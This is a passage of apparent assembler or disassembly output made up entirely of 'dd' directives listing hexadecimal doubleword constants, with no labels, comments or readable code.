0AB5276F8h, 0B37129D8h, 38CFED86h, 0CFA45AF4h dd 422D15Ch, 43DB17EEh, 1E3C813Fh, 0DBBD6005h, 0F3896B1Ah dd 330784EDh, 0AC8E57D6h, 0EFD19013h, 956FB554h, 0CB9CE27Fh dd 84677D93h, 0AAEF3307h, 22413FFBh, 0D8FA87E3h, 44000000h dd 6437BD54h, 60686017h, 660FB2B1h, 7E94CC84h, 3925C366h dd 0AE22C365h, 3ABBBA69h, 0C4DD9577h, 0D99A7C25h, 0E9882B2Ah dd 2ACB6E07h, 0C8869DB5h, 20C33925h, 0A44A6381h, 0C2DD5201h dd 3B94763Fh, 415775FEh, 3F43CC88h, 44A0B6EEh, 123307B3h dd 8A2BCECDh, 0AD2267DBh, 0EC0A67D2h, 285F44D6h, 1B397E39h dd 0E2627D02h, 119002CFh, 0DC1ADF8h, 3A6148BBh, 0E2839E13h dd 0FA5C7D3Fh, 7476EC27h, 1DA9ECh, 8835CE00h, 0B170F813h dd 0D69F213Ch, 0FEA74661h, 24C96E89h, 717C6EAFh, 99B429CCh dd 0BCD74C09h, 0E702773Ah, 28289D44h, 1D6E768Ch, 33E83F46h dd 2FF2735Bh, 0BA70F811h, 24D340A4h, 0AAD11639h, 0E35807C8h dd 77C25C8h, 657F95CDh, 0F13924D2h, 0B345FDACh, 97CFED86h dd 74DFF87Eh, 0B816D6F9h, 8243254Ch, 0C32ED7D3h, 256A3F43h dd 6D33AD43h, 41793307h, 32E18028h, 0FCFA69AFh, 0B587E33Ah dd 0F6h, 77710299h, 0C81D0D9h, 8E0CD8EEh, 54A3307h, 0F0739E56h dd 7E974F31h, 0BC5537FEh, 0D394763Bh, 79FEFDACh, 0D33DA7BDh dd 0D4193924h, 34F88FADh, 840B6477h, 44FCDE8Dh, 2E48D2Bh dd 8D969241h, 0BC3925CCh, 0E8037839h, 61BA9C45h, 677D9BD8h dd 3F43D062h, 0CA0479BEh, 0B6687C92h, 0A9EE3307h, 0FF6D432Ch dd 0D4830DEDh, 314F2415h, 280AEE1Bh, 4DEF0839h, 747086A4h dd 0E22CE6B8h, 357AEE9Dh, 5B8A8017h, 0B318D3CEh, 619640ECh dd 91406709h, 80223B73h, 8332F3D5h, 0C93EE384h, 0A26409AEh dd 0EC268049h, 7BFB8385h, 0A000001Ch, 0C6E15603h, 0EF0A7F26h dd 142FA44Dh, 3C57CC95h, 4081F6BBh, 0FFA2434Eh, 26D36F8Ah dd 4D1096B1h, 7B3ABDD8h, 546A0606h, 3F461E90h, 733911C6h dd 0C22238F2h, 943924D2h, 98B3284Fh, 9DD74C15h, 0D2954F65h dd 7CC13924h, 0F07315CDh, 0D2C0243Ah, 51963924h, 0CAF482Ah dd 513AF065h, 38561B1Eh, 42F2FF22h, 6F0E273Fh, 7423E4C6h dd 0C445E300h, 0DA9B7D24h, 1CB28CB3h, 0EF9521C0h, 7F22C3DCh dd 4B2811D0h, 5DFF52Dh, 0A7767844h, 78445391h, 4ABE0376h dd 22385605h, 7C9646AFh, 871E3C81h, 8B29F5E1h, 90722119h dd 5A8AA0D8h, 0FC705A15h, 0F04908B7h, 0D7CE6583h, 70223775h dd 5991AF5Eh, 0EA00A240h, 705ABFFAh, 0D2F0175Ch, 5AC028BCh dd 3AE92E70h, 78F89C3Eh, 4361A676h, 69DE872Ah, 480AAB4Eh dd 297D1A9Dh, 8B971F21h, 0B000001Bh, 0D6F16613h, 0FF1A8F56h dd 243FB47Dh, 4C67DC85h, 509106ABh, 0FD2535Eh, 36E37F9Ah dd 5D00A6C1h, 8B2ACDE8h, 647A1616h, 3F461F80h, 734921D6h dd 0F64F31F0h, 0FA102E43h, 3F42D82Bh, 0B9F368ADh, 4B6119A0h dd 3306CD99h, 0A25178BDh, 51E87F08h, 92CA0220h, 0CDA0445Ah dd 71B63306h, 6CD6F75h, 0F3A2E733h, 24EE2AF7h, 160BA639h dd 0EC2D7469h, 4B3EA6BCh, 0D3182CE8h, 15AB85ACh, 0F499A952h dd 0DBF97ABFh, 54EF0CC5h, 0FDDF246Bh, 0BEDC95A4h, 372232A8h dd 0ADCB1065h, 0DB501194h, 6A1E3DC0h, 3CCB1AF1h, 0DF18DA01h dd 2F183B54h, 1AD8A52Dh, 64FD0000h, 832944B9h, 0AE526DE2h dd 0F0779207h, 1CA1BC31h, 0B1A3E459h, 0E75C01A6h, 168B36CCh dd 41B67BFBh, 6DE28326h, 29BBD16Dh, 2D3F4621h, 3B54A078h dd 0F9EB01B9h, 5D3924D2h, 4E0FF118h, 0FE1DA09Fh, 0ECFDDCCDh dd 816379DFh, 0D539255Fh, 60426990h, 46F38FA8h, 35F4A364h dd 3B516F04h, 3F438F6Ah, 6D0DABC4h, 72F8D57h, 5D84C933h dd 80F53AAEh, 9E9BACCAh, 93BA7BFDh, 4FC25F75h, 4B643925h dd 0E65A09A8h, 131C7A1h, 0A6C991C7h, 88C0DE93h, 8F0C27F1h dd 0C5C4AD0Ch, 0D4D07F26h, 965E21FDh, 39D0EE33h, 99D0495Ah dd 5A8081BEh, 0E82B9F1Ch, 7C3416C5h, 3F21C063h, 2910CF7Eh dd 0E93E81F2h, 0E7050757h, 21F913D1h, 0D7FE438Ah, 0C6EA81B9h dd 7B02FE69h, 0A7240942h, 8856622Ah, 92FDDDD9h, 459040h dd 0EB91AAE2h, 199C9B4Ah, 25C8E358h, 375E03A4h, 44B47C75h dd 0BC444643h, 19D6h, 46BB66FBh, 6FE48D2Bh, 9C11D054h dd 0C63BFA81h, 0F2670AABh, 33B4BFB1h, 44DEF96Eh, 65092499h dd 8D304BC0h, 0D36F6FE4h, 462227BDh, 0A27A2F3Fh, 0C390BD54h dd 0E12E9BBEh, 0F1B03332h, 0EE83B60Fh, 628298D0h, 0F43925A1h dd 0CCE200AFh, 3F43B569h, 1FD54A8Fh, 2C45F45Bh, 3FBDD60Eh dd 30571E9Eh, 0E2DE8D4Eh, 3925AF3Fh, 0D307F691h, 0B237FE67h dd 0AF1BB18Bh, 282A2BA8h, 3FFA8811h, 57759C5Dh, 0C4419041h dd 0B35FF635h, 49251716h, 4388FCABh, 0C66B0C25h, 927423E4h dd 588CA2DAh, 0FE298864h, 0EE4B0AB9h, 192F6785h, 298864CBh dd 0D2B47D00h, 0A9589D11h, 9D65758Bh, 98DD2FA6h, 3FDE617Ah dd 0B6D4FBBEh, 2B7C687Eh, 3FDA236Ah, 0E276263h, 0FE7BA21Eh dd 1D19BFE9h, 7FF4A311h, 5E20C164h, 0E2AABEA5h, 0EBDF6769h dd 10000018h, 3651C673h, 5F7AEFB6h, 849F14DDh, 0ACC73CE5h dd 0B0F1660Bh, 6F32B3BEh, 9643DFFAh, 0BD600621h, 0EB8A2D48h dd 0C4DA7676h, 3F462320h, 73A98136h, 0FD04DBF0h, 75E6EFFEh dd 26136C4Eh, 66A44056h, 76B23925h, 25668460h, 668DD239h dd 0D0E9213Fh, 0DCD88732h, 3F436C29h, 6D778DC5h, 0E9330761h dd 3C81F5A4h, 0C362051Eh, 9EE99F14h, 0E50370C9h, 258252CFh dd 5F397E39h, 47EE8EA7h, 3A059C98h, 0B980C0B2h, 4C629AB8h dd 99204A98h, 0F31883B5h, 0D0444584h, 3A780E8Bh, 64EF3AC8h dd 508197B5h, 0E09F3E03h, 0D960B99Bh, 76647A98h, 0CC992036h dd 0AD506987h, 3C558F04h, 9563A2B9h, 186003h, 8736F7D9h dd 7A3CE588h, 4C244B23h, 17A52D2Fh, 3C000018h, 6A85FAA7h dd 93AE23C2h, 0C0DB5011h, 0E8037839h, 0EC2DA247h, 0AB4EEFFAh dd 0DA871B36h, 1A44A65h, 27CE718Ch, 16B2B2h, 3F4623E4h dd 54E5BD72h, 0C151EBDh, 0A3527B8Ch, 0B10A01A4h, 82627865h dd 0D43925C9h dd 6224128Fh, 48A183AAh, 4C6280F1h, 3F46367Dh, 9742E0F9h dd 0D145F4B5h, 0E9D76E8Ch, 1FF62195h, 5E869CBAh, 0F83303AFh dd 0CDE604B3h, 0FE168B2Ah, 3303B076h, 7EF388B5h, 0AC21C063h dd 0B13368D1h, 0F6750EF0h, 0C3E1082Fh, 3EC6022Ch, 6160531Ah dd 753618DDh, 0D970A8C6h, 71DB4C8h, 330338DDh, 36B73479h dd 0F0BBA6Ch, 3924CCBAh, 0EA032166h, 6C85A342h, 7524CDh dd 8E0FADC6h, 0A66749F4h, 60049D7Fh, 0ECEB9AC1h, 2AC3A54Ch dd 13D1E787h, 432CE23Bh, 7A15D7FEh, 44EC22CEh, 1730BA42h dd 0CC550000h, 0FB819C11h, 6AAC53Ah, 28CFEA5Fh, 74F91489h dd 9FB3CB1h, 3FB479FEh, 6EE39E24h, 990ED353h, 0C53AFB7Eh dd 0D11329C5h, 853F4624h, 86B3F8D0h, 8197CFEDh, 3924D263h dd 0E1FFAEF3h, 950912A9h, 0D9F72371h, 209B2E2Ah, 40853F46h dd 69660922h, 0D039BD3h, 19FD7D49h, 61C8FB6Dh, 0F8B93B3Ah dd 0B92E5516h, 21DC667Fh, 10CF7E3Fh, 0D26442Dh, 0B071F36Ah dd 4E60DCEh, 3E769443h, 1E38225h, 0DA847AEAh, 5C832ABDh dd 0C53FB1ADh, 122F3303h, 28E9CB6Ah, 2F671F01h, 3C4CB19h dd 394F8B33h, 3303C4ABh, 903F66ABh, 3C54D94h, 92296133h dd 50D4B62Eh, 0CC8D1491h, 0DB21A453h, 0E7406E6Ch, 612787h dd 0B3710000h, 15E09B8Ah, 680FC28Ah, 0DB0D2341h, 8339251Fh dd 0A045C066h, 335A1BFDh, 87699051h, 251FEFF1h, 4D85BD39h dd 251FAD37h, 54CA039h, 0F0E5AE4Ch, 0B038377Ch, 79BF42F1h dd 0C55A0C0Ah, 1DC581h, 760F0000h, 3924D26Bh, 0B4D29F9Ah dd 42EFF79Eh, 77CC13Fh, 657F95CDh, 0F13306B6h, 0B345FDACh dd 97CFED86h, 5234F97Eh, 0B7E6E291h, 113F42DFh, 0AE51EACCh dd 0F4779207h, 0DB24B2Dh, 5028668h, 0CF57EEBFh, 6684BB8Bh dd 0C3666514h, 0EF92AD22h, 2E0B6446h, 0E4112745h, 94392480h dd 0D75AF777h, 47E8E70Eh, 0D8FFC0A2h, 0FCA54863h, 0F97F841Ah dd 79FA51Eh, 0FBAA4BEEh, 0FD803278h, 0AABD273Dh, 5499B4B1h dd 1A9DB82Dh, 85243D5Bh, 24BDB486h, 94BB5FF5h, 0C0EA9BB2h dd 0A3F6CD88h, 33EBCD7Ch, 0EFD1941Ah, 0EAFA102Eh, 6CB4B138h dd 0F2797827h, 381AC75Bh, 76E5FA77h, 4C9D5825h, 0B4D54325h dd 8139BC6Eh, 0B130796Bh, 9AC52B4h, 0A1435995h, 0B5B4B130h dd 0AD224970h, 0CF6EEF92h, 65834426h, 0B130954Fh, 557CC1B4h dd 0DD24BB73h, 2958ADACh, 5A84D4Ch, 0D1A29756h, 51149AB3h dd 9AFAE6Fh, 859BB968h, 0BACFBAECh, 0B2324884h, 0A4AE938Dh dd 19D8605Fh, 0DF627DF2h, 0AAC0F816h, 0AE938E3Ah, 6648ED91h dd 3DEC31A5h, 0E78AA35Bh, 0EC9B5C3Eh, 465255EDh, 0E48D2C86h dd 0FCC44102h, 8322CA13h, 92B9E0A1h, 0E92F2CB0h, 78EDB437h dd 391BDA5Dh, 2AC06881h, 937BD014h, 1A4186AEh, 0E48DAC6Bh dd 7CC9B0C6h, 72B7B4B1h, 965FE2FDh, 44E3FCB4h, 0A18322C5h dd 0E0AB9E0h, 0B8757BD2h, 677DB5EFh, 98757B7Dh, 62E594D9h dd 1EC76A1Ch, 0AA40E700h, 757C5094h, 9AC10698h, 7B7E667Ch dd 93D89875h, 0D2546FE4h, 0AECB537h, 0A7402249h, 2C456306h dd 4304E68Bh, 2E31B294h, 0F6B036E8h, 757C04E0h, 0E60D5298h dd 6F31C8h, 32B27E17h, 73F30E83h, 0B09253D6h, 4DE6C8EFh dd 0D0E907AEh, 0FADC8B2Eh, 81337976h, 11A38FDh, 9B5EDF7Eh dd 76F99274h, 64D988AFh, 1E00A549h, 0E1FF74C5h, 9323D2CBh dd 7B5BF69Eh, 7C34E721h, 0A64FEDECh, 0BBCA617Fh, 0C9809B94h dd 0D80C2240h, 7E9256E2h, 3AA88A39h, 0D9AF467Eh, 0CFF1810Ch dd 6C31B3AFh, 0E0259257h, 0B668AE31h, 0DDF86D30h, 647D9B5Ah dd 8B6D1CC5h, 0C4A64FF2h, 48FA4043h, 0C5DEFCA5h, 5ED38223h dd 0C8690B24h, 0BA7625E6h, 28933BBCh, 33B1C7FFh, 23925760h dd 44872FDEh, 0D1000000h, 4C2EF373h, 9E465C94h, 2D3924D2h dd 2F74E895h, 0FB78C180h, 0DB02C7DDh, 0D91E3F42h, 776D83BBh dd 353306CAh, 6CAC51Fh, 0D84C9133h, 656FE493h, 4Ah, 0DE4436CDh dd 886A0BB2h, 3ADF4AC7h, 54964EFDh, 49F8B93Bh, 0B8ABA44Ah dd 0C91B31B5h, 8D392518h, 2317CB48h, 8C0A2C9h, 4206E471h dd 7423677Dh, 0D1EF84B5h, 43C486BBh, 0C86D8A3Fh, 758B4325h dd 3307B36Fh, 547BA2E7h, 0AFD80BDFh, 0D2F081B8h, 42F365BCh dd 4C266B3Fh, 0B9CA2EB6h, 205CDD27h, 539BDA0Ah, 10377C3Eh dd 9EF5DCF2h, 0F63B4471h, 0F57EBB14h, 0D219C1D7h, 0E87F3E53h dd 0EAD7CA73h, 4EF976E3h, 67577C32h, 0C1067A29h, 3C900CA3h dd 63658500h, 7B3C1EC3h, 6E87A554h, 7BB52ACBh, 0E8B72D43h dd 5A9F3216h, 6809ACABh, 577C03A6h, 45CDCFF1h, 12CEh, 3EB36EF3h dd 67DC8523h, 9409A84Ch, 0BE33F279h, 0EA5F02A3h, 0BACB7A9h dd 4CD6F166h, 7D011C91h, 852843B8h, 0CB6767DCh, 46292FB5h dd 9A72273Fh, 24D36E76h, 81253E39h, 0CB6E2DDCh, 0B95088A6h dd 8A16C970h, 0A5A150E4h, 3F42498Ch, 0C9011F64h, 83650CB0h dd 568EA4C2h, 33063Ch, 690D0CBBh, 0DA0FA6C4h, 0A01DC033h dd 2183EFDh, 0EF1C2985h, 0EB0CB40h, 4DF0896Bh, 31D9E2A4h dd 0B3B5F247h, 12492Bh, 28D56E00h, 511098B3h, 763FC1DCh dd 9E47E601h, 0C4690E29h, 111C0E4Fh, 3954C96Ch, 5C77ECA9h dd 87A217DAh, 0C8C83DE4h, 29CE162Ch, 0D3883F46h, 0ED86B3FBh dd 0D978B9CFh, 33783F42h, 1DC7DD15h, 393306CDh, 0E2745F4h dd 3752C76Eh, 560EF0B1h, 49F8A53Dh, 8726A74Ah, 67D5B7DEh dd 0AE4E0046h, 0CCEAFA10h, 276C3306h, 0FDDF9A28h, 0EAA0153Ch dd 0EE83B582h, 34FD7B14h, 0CD25BC52h, 95183306h, 561F9D4Fh dd 7F26C6E1h, 94ADE59Dh, 0A96A4C15h, 6CD37ADh, 2BDA1F33h dd 86A4CD6Ch, 7823B74Eh, 9445707h, 0E0575E5Ah, 6A13927h dd 36E07670h, 8B08A2F9h, 92A569E6h, 1D36547Bh, 4B66DB9Ah dd 0CE2709A8h, 0D2E8066Bh, 3306AFB6h, 862BCBE8h, 0C9680BA4h dd 0D8FF26E7h, 571EA1BAh, 7D24C7E2h, 83F7429Bh, 0C41E776Dh dd 8944DF26h, 0C8E1C9DEh, 93B1D8FFh, 0E200247Dh, 0A567AC2Ch dd 0DFE66C10h, 4368F0F2h, 68000011h, 8EA91EDBh, 0B7D247EEh dd 0DCF76C35h, 41F945Dh, 849BE63h, 0C76A0B16h, 0EEAB3752h dd 15D85E79h, 43E285A0h, 1C32CECEh, 3F462AC8h, 7601D98Eh dd 3924D277h, 0A81DC066h, 0E9076CCDh, 461BBDD3h, 8EACF13Fh dd 0BD32F375h, 0C8B8B6E9h, 0B0718245h, 0BB000001h, 921687B3h dd 930F1D3h, 862FD2EBh, 7C34E3A4h, 0D2A33E54h, 0CB033924h dd 0D2677D93h, 0AAEF3924h, 24D336AEh, 2CDB2039h, 354B83A1h dd 3924D2AFh, 7E6662A7h, 0D83924D2h, 855F7593h, 0D13924D2h dd 54AD658Ch, 39A4EF82h, 38F089B3h, 9AB0E880h, 3924D34Ah dd 24C8C70Ch, 0B316CE7Dh, 0B5CEEC85h, 0CC8D6F36h, 4698651Dh dd 0DE061C54h, 783924D2h, 0ED14DD5Bh, 0C894823Eh, 3B4D84C5h dd 97000000h, 38F089B3h, 0DE061C54h, 783924D2h, 50668433h dd 3924D291h, 435C7ABFh, 5E1F01A0h, 8254F7AFh, 7830F173h dd 0CA0AA1DFh, 0B6E84A73h, 544F07B6h, 4AF9B83Bh, 665Ch dd 1C542A00h, 24D2DE06h, 263C7839h, 3924D2BEh, 2D2C5398h dd 7736E588h, 8F52D4C5h, 2B6FECADh, 8D818FE1h, 5460183Fh dd 0C061031Ch, 726E1DDEh, 3924D26Fh, 0FE9F1E37h, 0B294BB7Ah dd 90B742F1h, 0C0243A72h, 963924D2h, 54EAA251h, 0D2DE061Ch dd 606F3924h, 908DCA20h, 6B1A5FD3h, 0F1737B4Dh, 0EC13D658h dd 5407DF34h, 0C27F031Ch, 24D31EC6h, 0F4F33839h, 43FFAE73h dd 84C5C855h, 9A4A6098h, 313624D2h, 4405E78Eh, 34DC8BD0h dd 2Fh, 9685B37Eh, 1B9E6670h, 37F9DD5Ah, 54E098BFh, 24D2A33Eh dd 0B068AD39h, 0F5738254h, 0BD54742Ch, 395F542Fh, 0B548F706h dd 3384DDh, 0B3520000h, 5434EC85h, 24D2A33Eh, 0B76F9639h dd 0BD548254h, 0C9DFD5C2h, 3925791Bh, 3079F63Bh, 0FEFDAC31h dd 54FFB77Eh, 259EBD3Bh, 0F71165EDh, 2EC17097h, 0FE478456h dd 0B352FFFFh, 0D08D1586h, 3D538BA9h, 3924D2A7h, 9DBB6AAFh dd 461B4287h, 3FC1DE3Fh, 18314F76h, 95AECC95h, 0B0715312h dd 8CB18C01h, 7891C9E7h, 905133F6h, 89FFE5E1h, 12573303h dd 9958DBF4h, 747208EAh, 44330389h, 0B170F30Ch, 0DC5F0ECFh dd 19292796h, 536C87E7h, 692A0CD5h, 4212BAh, 765C0000h dd 3924D26Ah, 218D659h, 3924D2E2h, 11D05774h, 48476E2Fh dd 60D5FCA5h, 24D29948h, 0A4CD6C39h, 0B6354E86h, 0AAD19017h dd 0E98A07C8h, 0E3B761B8h, 1BCAC675h, 3D3F42F1h, 907983F8h dd 47000000h, 0CFED86B3h, 4305B8B9h, 5573B83Fh, 82F7BA3Ch dd 4022C767h, 32152E7h, 0BC9E47EAh, 182E4CFBh, 3927E9A5h dd 0E7001E63h, 122DA247h, 8EE7C96Ch, 92A8C6ABh, 33069F99h dd 0B0E8064Bh, 0C4114A9Ah, 0B2750326h, 0E1A17BE5h, 5B79286Dh dd 81F6BF42h, 6022C366h, 0E6053267h, 3F9D2527h, 6400000Eh dd 92AD22DFh, 0BBD64BEAh, 0E8037839h, 102BA041h, 1455CA6Fh dd 0D3961722h, 2BF435Eh, 29CC728Dh, 4F1699B4h, 283EDADAh dd 3F462DBCh, 730DE59Ah, 974F31F0h, 5417D400h, 0A251CE0Fh dd 436100A3h, 60DD982Ah, 0A51DA1BDh, 0AA8C3B30h, 0FE02629h dd 2C03CC78h, 3DEC4EAAh, 0DCFABB3Eh, 60568EA4h, 0BB003925h dd 0C1BF970Ch, 7A81C543h, 61h, 61C54C4h, 3924D2DEh, 0D32CB8CEh dd 0E52A3924h, 0BE7D2C71h, 0C2D8F67Bh, 3F42D60Fh, 0BE630421h dd 991CB597h, 0A54863D8h, 0CB621AFCh, 28D25278h, 38F7A6F7h dd 4C159801h, 6482A96Ah, 2608A94Bh, 8298B665h, 39240AEFh dd 1DC46481h, 0B516243Bh, 18106242h, 15ACCAF1h, 7711CC61h dd 51C675BCh, 2CF5737Dh, 0AC71F50Eh, 0CF6D88FDh, 3DAE4426h dd 9C3924D3h, 7E2571Ah, 1FC66932h, 37557C3Dh, 0A342E6FFh dd 555100C1h, 3F461B48h, 0E51D3B80h, 0D8872ACCh, 30B657D9h dd 2B521395h, 0B6BB8F04h, 8245C8B8h, 13371h, 87B3BB00h dd 0BD5436EEh, 0D7133013h, 4C6A19ADh, 25A1AB36h, 9E64FB39h dd 21C06870h, 0E5C403A4h, 0CC84AB36h, 0A4EF8254h, 0F089B339h dd 0B34E8038h, 9834EC85h, 7E3BC7E0h, 0A7BDDB9Ch, 3924D33Dh dd 6D25D419h, 0C5C8C8B6h, 578184h, 0B3CB0000h, 0CF8A1889h dd 0E7052CEDh, 0A98B2ACEh, 0A045E9E8h, 1C5439F1h, 0DBC6503h dd 24D2D011h, 833B8039h, 0F6BB3B54h, 86A45314h, 30F173B4h dd 61C5478h, 3924D2DEh, 0FBB63378h, 0C4A26B9Ah, 0C6049746h dd 0EB8C09ADh, 7CA36446h, 57DAD99Ah, 8427DF8Eh, 1Fh, 0F089B352h dd 56BD5438h, 8F10D42Dh, 0E3F917C6h, 3925AEFEh, 545C143Bh dd 30F17382h, 0B607DF78h, 84C5C8C8h, 0A74EF20Bh, 0AD5504C5h dd 2Fh, 0EC85B3F7h, 0A33E5434h, 0AD3924D2h, 8254B068h dd 742CF573h, 5369A1DFh, 3924D291h, 19D180C5h, 3584h, 0C255EC00h dd 0D4423068h, 5415CD7Ch, 13F5BC3Bh, 54E4A352h, 3E54651Dh dd 3924D2A3h, 54B76F96h, 2ACBE41Ch, 0E8E4A587h, 3924D2FCh dd 0AE66155Ah, 742CF573h, 0C48407DFh, 52FFFFFEh, 8D1586B3h dd 538BA9D0h, 0D2DF051Bh, 0B7CD3924h, 3924D32Dh, 2B70E429h dd 3B343AEh, 8332046Eh, 46204287h, 7B99DE3Fh, 0A116DF62h dd 832A77C6h, 0C23F00E2h, 3800AA18h, 0B1CFF64Eh, 6BF20B1Ah dd 8B2D7553h, 204708EAh, 0A73D5371h, 5330359h, 0C7A948ECh dd 0C3EA8B2Eh, 0B863B46h, 0A352A38Eh, 0B3CCEA2Fh, 50159A2Fh dd 0D7864729h, 82243DF5h, 0B23430DFh, 633032Bh, 39522369h dd 490AECA9h, 77E0DE9Ah, 0A2387E7h, 6A12C164h, 1Eh, 0EFB6354Eh dd 0E59D4C0Dh, 24D26A76h, 0FD65939h, 9051D8F1h, 0C93EEDAEh dd 0ACBFh, 86B38D00h, 8CB9CFEDh, 8C3F42FDh, 0D2BCE6Fh dd 6A8EDF7h, 0FD246933h, 0A520C6DFh, 4AF78B02h, 5980A768h dd 8025C9E4h, 3AC4CB62h, 0A806D23Eh, 7BBE17F9h, 0FFC2D8F6h dd 11392773h, 1195AECCh, 0C18C91F6h, 1D4406A8h, 44E98DA8h dd 43300962h, 0C9680C25h, 45E6FC1Ah, 9F330631h, 80233C5Ah dd 4AAC3E1h, 33DB261h, 0C1A342EAh, 0AF525100h, 367D4406h dd 4749E604h, 0AC9BFh, 0A855EE00h, 0D1901833h, 0F6BF415Ch dd 1EC76681h, 44E98EA9h, 919C8ECFh, 0B9D449ECh, 0DCF76C29h dd 722975Ah, 4848BD64h, 314E96ACh, 53083F46h, 31F0737Bh dd 7233B64Fh, 0C60C0F90h, 5BD09114h, 0C5D08583h, 563E81h dd 8B220000h, 29C30947h, 5810BFDDh, 0CFED86B3h, 9B495F97h dd 0BB3924D2h, 6ACBC776h, 8E3F42E7h, 6F122B49h, 7423E4C6h dd 0B876F992h, 6BF42A2h, 0A8CF1433h, 58E0F933h, 0BE588CA2h dd 0B9FE3306h, 40EFB092h, 15F7BE41h, 0D6F47DBCh, 24E985C0h dd 0F7769339h, 0BE92072Eh, 0A0D6F573h, 1209D096h, 0F12BA0C7h dd 1E41A3B9h, 0D0153925h, 1DC82521h, 91153925h, 0CCAE73F4h dd 0ADC6E40Bh, 41B66508h, 809ED366h, 46663E6Ah, 3D5BA03Fh dd 0C3E18024h, 7F6104AAh, 789F46E6h, 0B68054C9h, 8245C8B8h dd 16071h, 0B93C5500h, 0D2F9EB01h, 185D38A4h, 27BDD3F1h dd 2F38A4D3h, 0B3833BEAh, 5436EE87h, 24D2A33Eh, 14979639h dd 83AA6B4Dh, 61C54CBh, 3924D2DEh, 66843378h, 39A4EF94h dd 0E3F989B3h, 3924D301h, 31E91055h, 85B34E80h, 469834ECh dd 0F6BB3B54h, 0C89D8B47h, 345684C5h, 0A0000000h, 38F089B3h dd 0D2A33E54h, 6C033924h, 449BCC2Fh, 71E59410h, 8254742Ch dd 7830F173h, 4F8407DFh, 0EC000000h, 0D3469EB4h, 0E7853924h dd 279B5C3Eh, 547B33E2h, 0D2DE061Ch, 33783924h, 277C584h dd 0E41C544Ah, 8B872ACBh, 3924D259h, 0D09B8FDh, 3924D2D4h dd 54863E65h, 3EBC851Ch, 1995530Ah, 22D1941Ah, 0DAF1736Ah dd 0C5F07678h, 9C547B4Ch, 0C8B607DFh, 8184C5C8h, 2Fh, 1485B3CBh dd 0EFA7CE93h, 0D2A33E54h, 6C033924h, 84E3A067h, 1B438EE0h dd 7D1C5BC3h, 0EE33A756h, 73825436h, 0DF742CF5h, 558407h dd 54520000h, 0EF0D92BDh, 25A10BD9h, 89064B39h, 29D04604h dd 0BEE5A688h, 89E8500Fh, 0BC3B54D1h, 0F02846F5h, 0E19051D7h dd 24D2FCE5h, 20C03D39h, 298D682Ch, 0F5EF0523h, 61392525h dd 543DF51Ch, 0BC65031Ch, 0F573550Dh, 0D2C51F35h, 74913924h dd 0DF062DF4h, 8407DF27h, 0FFFFFE97h, 0ED86B352h, 6C31B6CFh dd 0D2AC384Eh, 65AA3924h, 478298B6h, 2F3F461Bh, 8A03E1F7h dd 0E533303h, 88A6EB5Fh, 0B025CC6Fh, 0F51368D5h, 8A3DA7BDh dd 0D4193303h, 38CF0725h, 35EF2F7Bh, 0B7CDEB20h, 3303BC2Dh dd 3935E429h, 3303BBABh, 9D44E801h, 17357AEEh, 0CBB7AFEh dd 0D4DB722Ah, 4BF68C0Dh, 482BA869h, 38F98075h, 7DDF311h dd 4F33038Bh, 875F5B0Ah, 3133038Ah, 0E1DF4E94h, 9A87E718h dd 21h, 0D26A76E4h, 0D6593924h, 0EC909A0Fh, 0F8000000h dd 0C74429C0h, 0F99E4352h, 2512E7FDh, 7B2A6F39h, 1586B3C3h dd 8BA9D08Dh dd 0D353CA72h, 446B2C0Eh, 263F7795h, 322EDD80h, 3F42DA8Bh dd 1D32BAD3h, 2B80F002h, 0BC9EC54Bh, 93D84CFBh, 17DA5C75h dd 42E787A2h, 41320760h, 4B80D23h, 1FB63928h, 0E084F884h dd 0B303C441h, 6582F6A5h, 0DBF920DDh, 533D0744h, 0DB8AA7C6h dd 5F02A4BDh, 0DC852841h, 199DB82Dh, 0F9F3654h, 0C58C3BFFh dd 39E5FF15h, 2C712CE5h, 1B745605h, 2137551Eh, 3306810Ah dd 5E7795DAh, 0C59916DFh, 8A19C51Eh, 0BAF210BFh, 0F300A723h dd 2EDD051Bh, 70E58C2Fh, 5113D255h, 0E6051902h, 2F42CACCh dd 54000007h, 829D12CFh, 0ABC63BFAh, 0D8F36809h, 1B9051h dd 445BA7Fh, 0C3660712h, 0F2AF334Eh, 19DC627Dh, 3FE689A4h dd 182ECACAh, 3F4634CCh, 54FDD58Ah, 0F258F6BDh, 0AF2DAA4Bh dd 76F6F575h, 7E0100AFh, 0FE8099B7h, 0E998593Bh, 2ACB6E07h dd 7EC4C748h, 6A8829CCh, 0EEA084D3h, 0B74B16BDh, 0BF34E30Ah dd 0C56EE9E7h, 39A281h, 0B3EC0000h, 0B9CFED86h, 3F42DBA4h dd 38ACC2FAh, 1E3306CBh, 71B62AD9h, 0CAE7F98Fh, 28C53306h dd 0C3D911E2h, 3306CB21h, 0CD941835h, 54032AEBh, 0E3DC9A98h dd 3D5387h, 0B39D0000h, 0B9CFED86h, 3F42F1C4h, 596429C4h dd 63BC832h, 0C164FDDFh, 0ED90AB20h, 30096244h, 0AE0F2543h dd 0B03924A3h, 73750319h, 0C877C2C1h, 63FF1854h, 172ABAB6h dd 0E72C2CE8h, 54774BC0h, 4AF9B83Bh, 0A594DBB0h, 6076AECCh dd 3924D284h, 0C0DE8DD2h, 2BCE6F88h, 0DDD98849h, 3F42F344h dd 0B56D478Ch, 0AA59189Ch, 7CFDD9AEh, 0B0C178F3h, 2EF77992h dd 0BEDC8B4Ch, 0AE6C29A8h, 0E0C20778h, 0A3C1B287h, 909E4D8Dh dd 92B0F572h, 4E30F579h, 8B596F8Dh, 0CB66542Ch, 0A0B9D786h dd 0C4DF541Dh, 71738921h, 0E566542Ch, 0B6B779A0h, 382594BCh dd 5D8AE36h, 64FD0000h, 832944B9h, 0AE526DE2h, 0F0779207h dd 1CA1BC31h, 0B1A3E459h, 0E75C01A6h, 168B36CCh, 41B67BFBh dd 6DE28326h, 29BBD16Dh, 2D3F4636h, 0F073A078h, 7E974F31h dd 8C8B3AFBh, 942B49E8h, 0B6001060h, 54C97822h, 95B3C079h dd 8534FD7Ch, 0D745167h, 5FA43F47h, 0A140E47Dh, 450B80DFh dd 0C44C4EF2h, 572h, 0DA4F0A97h, 37839BFh, 289D44E8h, 52C76E0Dh dd 7EF3B637h, 0BF404B3Dh, 0D86A85FAh, 0E98DA81Dh, 31B4CF44h dd 5FFBFB70h, 46359B49h, 2E06BB3Fh, 0CFED86B3h, 461C08B9h dd 0B6CC083Fh, 33038A2Eh, 0DABCE328h, 34F6BF41h, 0F2441A45h dd 1FF77F81h, 44000005h, 728D02BFh, 9BB62BCAh, 0C8E35819h dd 0F00B8021h, 0F435AA4Fh, 0B376F702h, 0E29F233Eh, 